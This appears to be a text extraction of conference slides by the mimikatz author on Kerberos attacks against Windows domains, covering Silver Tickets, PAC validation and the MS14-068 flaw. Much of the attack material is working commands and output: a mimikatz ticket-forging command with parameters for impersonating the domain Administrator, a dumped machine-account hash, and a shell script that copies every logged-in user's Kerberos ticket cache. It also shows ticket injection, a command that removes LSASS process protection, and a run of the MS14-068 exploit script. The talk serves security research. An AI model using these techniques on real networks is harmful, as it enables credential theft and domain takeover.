  • 34. PAC Signature Windows 2000 Server and Windows XP do not validate the PAC when the application server is running under the local system context or has SeTcbPrivilege […] Windows Server 2003 does not validate the PAC when the application server is running under the local system context, the network service context, or has SeTcbPrivilege. […] Windows Server 2003 with SP1 does not validate the PAC when the application server is under the local system context, the network service context, the local service context, or has SeTcbPrivilege privilege. […] Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, Windows 8.1, and Windows Server 2012 R2 do not validate the PAC by default for services. Windows still validates the PAC for processes that are not running as services. PAC validation can be enabled when the application server is not running in the context of local system, network service, or local service; or it does not have SeTcbPrivilege […] http://msdn.microsoft.com/library/cc224027.aspx#id2 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 34
  • 35. Silver Ticket How do we make a Silver Ticket ? – Exactly such as a Golden Ticket, except the krbtgt key – Target name (server FQDN) – Service name – We must have the “Target Key” • From Client Memory • From Active Directory (ok, we can make Golden Ticket ;) • or... from the registry (even, offline !) mimikatz # lsadump::secrets Domain : CLIENT SysKey : 6bfd21f0eda0b20c96d902d3469909d6 Policy subsystem is : 1.13 LSA Key(s) : 1, default {adda624d-4d80-fbd7-1430-d1a54ddaa3ec} [00] {adda624d-4d80-fbd7-1430-d1a54ddaa3ec} e159ebc7330c153ca0def6705c5c3c9e963745c6a49bd0dbe93d426b71d1df6c Secret : $MACHINE.ACC cur/NTLM:c67d6f47929a19c574ee18539ae679f1/text:QbPxN=taXHczIGQ1u`]MG;HZjb]bDI^dbilGW?=up![Y_% :jrkFt*Ts19>'nE(]?XK8r-U#4sY_7KbeMBRn>+[7L7/ XHE1yeG?iaK@VTP_^34/,`kE6;z 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 35
  • 36. Silver Ticket Before that, who cares about this computer password ? – No… really ? – Yeah, like for the krbtgt account – At least, this time the password can change every 30 days... • But the n-1 still valid (so [30;60 days])… and the password still works if not changed… $MACHINE.ACC is the new krbtgt, localized to a computer/server – And it’s in the registry Silver ticket is the new Golden Ticket, localized to a target/service When you use a Service Account linked to a Kerberized Service, it can be localized to multiple targets (see SPN) – A lot of chances that you can find it in registry too ;) 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 36
  • 37. mimikatz :: Silver Ticket kerberos::golden /domain:lab.local <= domain name /sid:S-1-5-21-2929287289-1204109396-1883388597 <= domain SID /rc4:c67d6f47929a19c574ee18539ae679f1 <= NTLM/RC4 of the Target/Service /target:client.lab.local <= Target FQDN /service:cifs <= Service name /user:Administrator <= username you wanna be /id:500 <= RID of username (500 is THE domain admin) /groups:513,512,520,518,519 <= Groups list of the user (be imaginative) /ticket:cifs.client.kirbi <= the ticket filename (or /ptt) 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 37
  • 38. mimikatz :: Ticket So “in real life”, TGS only need the target key… no classic services will check signature… Default lifetime Minimum number of KDC accesses Multiple targets Available with Smartcard Realtime check for restrictions (account disabled, logon hours...) Protected Users Check for Encryption (RC4/AES) Can be found in Is funky Normal 42 days 2 Yes Yes Yes Yes n.a. No Overpass-the-hash (Pass-the-key) 42 days 2 Yes No Yes Yes Active Directory Client Memory No (ok, a little;)) Pass-the-Ticket (TGT) 10 hours 1 Yes Yes No (20mn after) No Client Memory Yes Pass-the-Ticket (TGS) 10 hours 0 No Yes No No Client Memory Yes Silver Ticket [30;60] days 0 No Yes No No n.a. Yes Golden Ticket 10 years 1 Yes Yes No (we can cheat) No n.a. Fuck, Yes! 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 38
  • 39. Demo ! 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 39
  • 40. Kerberos…. 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 40
  • 41.
  • 42. Ubuntu Kerberos client (MIT) MIT client caches tickets in a file (one by user) -rw------- 1 gentilkiwi gentilkiwi 2740 nov. 19 23:45 krb5cc_1000 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 42
  • 43. Ubuntu Kerberos client (MIT) By default, one user can access ALL its tickets –Windows forbids TGT (by default) root can copy all tickets (of course, why not?) – sudo cp /tmp/krb5cc_* /mnt/hgfs/vmshare/ubuntu/ 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 43
  • 44.
  • 45. OSX Kerberos client (Heimdal) OSX can be joined in a domain, then access resources like Windows… – Tickets are not in a file like MIT by default (? and I don’t know Mac at all…?) 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 45
  • 46. OSX Kerberos client (Heimdal) #!/bin/sh DEST="/Volumes/VMware Shared Folders/vmshare/mac/`date +%Y%m%d%H%M%S`" mkdir -p "$DEST" ps auxwww | grep /loginwindow | grep -v "grep /loginwindow" | while read line do USER=`echo "$line" | awk '{print $1}'` PID=`echo "$line" | awk '{print $2}'` echo "$PID -> $USER" launchctl bsexec $PID kcc copy_cred_cache /tmp/$USER.$PID.ccache done cp /tmp/*.ccache "$DEST" Like in Windows, local admins rule =) 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 46
  • 47. mimikatz & ccache files kerberos::clist [/export] - Can split ccache in multiple “kirbi” files – To use with Pass-the-ticket ;) mimikatz # kerberos::clist "vmware-hostShared Foldersvmsharemac20141120003301administrator.66.ccache" /export Principal : (01) : administrator ; @ LAB.LOCAL Data 0 Start/End/MaxRenew: 19/11/2014 23:56:35 ; 09/12/2014 09:56:35 ; 26/11/2014 23:56:35 Service Name (02) : krbtgt ; LAB.LOCAL ; @ LAB.LOCAL Target Name (02) : krbtgt ; LAB.LOCAL ; @ LAB.LOCAL Client Name (01) : administrator ; @ LAB.LOCAL Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac aa63ef63ce29151c2f696d837c63ad5ab82a851aeeccc8a1e69a4425473a8aaf Ticket : 0x00000000 - null ; kvno = 2 [...] * Saved to file 0-40e10000-administrator@krbtgt-LAB.LOCAL.kirbi ! Data 1 * X-CACHECONF: entry? * Data 2 Start/End/MaxRenew: 19/11/2014 23:57:44 ; 09/12/2014 09:56:35 ; 01/01/1970 01:00:00 Service Name (03) : cifs ; dc.lab.local ; @ LAB.LOCAL Target Name (03) : cifs ; dc.lab.local ; @ LAB.LOCAL Client Name (01) : administrator ; @ LAB.LOCAL Flags 40250000 : name_canonicalize ; ok_as_delegate ; pre_authent ; forwardable ; Session Key : 0x00000012 - aes256_hmac ef7fddb42d1513c65978f433ad61bcddd78e664b723e560833c6ed4d2df211e1 Ticket : 0x00000000 - null ; kvno = 2 [...] * Saved to file 2-40250000-administrator@cifs-dc.lab.local.kirbi ! Data 3 * X-CACHECONF: entry? * 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 47
  • 48. mimikatz & ccache files kerberos::ptc - Can inject whole ccache in memory mimikatz # kerberos::ptc "vmware-hostShared Foldersvmshareubuntukrb5cc_1000" Principal : (01) : Administrator ; @ LAB.LOCAL Data 0 Start/End/MaxRenew: 19/11/2014 23:42:20 ; 09/12/2014 09:42:20 ; 09/12/2014 23:42:17 Service Name (02) : krbtgt ; LAB.LOCAL ; @ LAB.LOCAL Target Name (02) : krbtgt ; LAB.LOCAL ; @ LAB.LOCAL Client Name (01) : Administrator ; @ LAB.LOCAL Flags 50e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; proxiable ; forwardable ; Session Key : 0x00000012 - aes256_hmac 0c688277c6e5d6bf2fe766aef402998d619e24f93d83f7738e1383688b7cfda3 Ticket : 0x00000000 - null ; kvno = 2 [...] * Injecting ticket : OK Data 1 * X-CACHECONF: entry? * Data 2 Start/End/MaxRenew: 19/11/2014 23:45:26 ; 09/12/2014 09:42:20 ; 09/12/2014 23:42:17 Service Name (01) : cifs ; dc.lab.local ; @ LAB.LOCAL Target Name (01) : cifs ; dc.lab.local ; @ LAB.LOCAL Client Name (01) : Administrator ; @ LAB.LOCAL Flags 50a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; proxiable ; forwardable ; Session Key : 0x00000012 - aes256_hmac f529fcafb067a2f481239bad7e1fe956a874ac6669426d1df71b6c8ec16d537a Ticket : 0x00000000 - null ; kvno = 2 [...] * Injecting ticket : OK 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 48
  • 49. Demo ! 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 49
  • 50. Microsoft ? They make good stuff, really! Windows 8.1 and backported to 7 – “Restricted Admin mode for Remote Desktop Connection” + Prevent credentials to be sent on a remote server (network logon) - Allow authentication by « pass-the-hash » & « pass-the-ticket » via CredSSP – “LSA Protection” + Prevent access to LSASS process memory (protected process) - Bypassed by a simple driver (this is a flag) – “Protected Users security group” + No more NTLM, WDigest, CredSSP, no delegation or SSO... Kerberos only! - Kerberos tickets can be stolen and injected… – TPM for everyone! + Bitlocker, then Private Key…, virtual SmartCard ! - Not for Kerberos Session Key, PIN Code, … Windows 10 ??? – LSA credentials isolation (maybe) • Credentials outside the « main » OS ; • Crypto operation via RPC / LPC 09/12•/2014PerformaBnencjeam ?in B DyE LdPeY f`ageunltti lk?iwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 50
  • 51. Kernel time Mimikatz includes a driver to play with the Kernel part of Windows… It’s signed with an expired certificate…. …so it works, even in x64 So I can unprotect protected process  …or protect unprotected process (?) !processprotect /process:lsass.exe /remove 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 51
  • 52. PAC-time 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 52
  • 53. PAC Signature - MS014-68 Since 3 weeks you’ve heard about PAC signature check! – Maybe ! w00t to Tom Maddock (@ubernerdom ?) for reporting a bug in PAC signature check ! – MS014-68 rely on this bug in MS code… • Fixed in KB3011780 w00t to Sylvain Monné (@BiDOrD) for writing the public POC ! – Code, Kerberos ASN1 & Network, Python… then PyKEK ;) • https://github.com/bidord/pykek Python Kerberos Exploitation Kit –More Kerberos magic stuff is coming in this tool ;) – With my little help on: • Kerberos, PAC, harassment, mimikatz & raclette 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 53
  • 54. PAC Signature - MS014-68 < MS11-013 – kerberos!KerbVerifyPacSignature • Checksum SRV Type: valid if (checksum size <= 20) – kdcsvc!KdcVerifyPacSignature • Checksum SRV Type: valid if (checksum size <= 20) >= MS11-013 && < MS14-068 – kerberos!KerbVerifyPacSignature • Checksum SRV Type: valid if (checksum size <= 20) && (checksum is KEYED) • Checksum KDC Type: valid if (checksum is KEYED) – kdcsvc!KdcVerifyPacSignature • Checksum SRV Type: valid if (checksum size <= 20) >= MS14-068 – kerberos!KerbVerifyPacSignature For Microsoft a checksum without a key was a signature! Welcome : - MD4 - MD5 - SHA1 - CRC32 - … • Checksum SRV Type: valid if (checksum size <= 20) && (checksum type == KERB_CHECKSUM_HMAC_MD5) // or AES in NT6 ;) • Checksum KDC Type: valid if (checksum is KEYED) – kdcsvc!KdcVerifyPacSignature • Checksum SRV Type: valid if (checksum size <= 20) && (checksum type == KERB_CHECKSUM_HMAC_MD5) // or AES in NT6 ;) 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 54
  • 55. PAC Signature - MS014-68 So we’re able to build our own PAC (again ;)), and make it valid from KDC point of view… – …without KDC or Target key – w00t ? But how can we push a PAC into a ticket… – encrypted by KDC or Target key? – if we have these key, the game is already over… If you read RFC4120 & [MS-KILE], you’ll know: Authorization Data Type Ad-type Value AD-WIN2K-PAC 128 TGS-REQ ::= [APPLICATION 12] KDC-REQ KDC-REQ ::= SEQUENCE { pvno [1] INTEGER (5), msg-type [2] INTEGER (10 -- AS -- | 12 -- TGS --), padata [3] SEQUENCE OF PA-DATA OPTIONAL, req-body [4] KDC-REQ-BODY } KDC-REQ-BODY ::= SEQUENCE { kdc-options [0] KDCOptions, cname [1] PrincipalName OPTIONAL, realm [2] Realm, sname [3] PrincipalName OPTIONAL, from [4] KerberosTime OPTIONAL, till [5] KerberosTime, rtime [6] KerberosTime OPTIONAL, nonce [7] UInt32, etype [8] SEQUENCE OF Int32 -- EncryptionType, addresses [9] HostAddresses OPTIONAL, enc-authorization-data [10] EncryptedData OPTIONAL - - AuthorizationData, additional-tickets [11] SEQUENCE OF Ticket OPTIONAL } w00t, we can push a PAC in Authorization Data =) 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 55
  • 56. PAC Signature - MS014-68 How to: 1. AS-REQ: Ask a TGT without a PAC (to avoid multiple PAC) PA-PAC-REQUEST: FALSE 2. TGS-REQ: Make your own PAC with an unkeyed checksum (like MD5) and push it to a vulnerable KDC in a TGS-REQ for krbtgt Target • ~ asking for a delegation ticket.) • The vulnerable KDC will verify it (with MD5 :P) and give you another TGT… with PAC in it 3. TGS-REQ: push again a TGS-REQ for a forwarded krbtgt target (without extra pac this time) to obtain a real delegation ticket… (not yet implemented in the POC) • Verified with MD5… signed with HMAC-MD5 by the KDC (or AES, so valid on patched KDC) python ms14-068.py -u simpleuser@labokiwi.local -s S-1-5-21-2666969376-4225180350-4077551764-1103 -d dc.labokiwi.local -p waza1234// [+] Building AS-REQ for dc.labokiwi.local... Done! [+] Sending AS-REQ to dc.labokiwi.local... Done! [+] Receiving AS-REP from dc.labokiwi.local... Done! [+] Parsing AS-REP from dc.labokiwi.local... Done! [+] Building TGS-REQ for dc.labokiwi.local... Done! [+] Sending TGS-REQ to dc.labokiwi.local... Done! [+] Receiving TGS-REP from dc.labokiwi.local... Done! [+] Parsing TGS-REP from dc.labokiwi.local... Done! [+] Creating ccache file 'TGT_simpleuser@labokiwi.local.ccache'... Done! 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 56
  • 57. Final demo for script kiddies! 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 57
  • 58. Demo 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 58
  • 59. That’s all Folks! blog http://blog.gentilkiwi.com (French) mimikatz http://blog.gentilkiwi.com/mimikatz (French) source https://github.com/gentilkiwi/mimikatz  go here for English Wiki & Release ;) contact @gentilkiwi / benjamin@gentilkiwi.com  please not in a strange language(åø) 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 59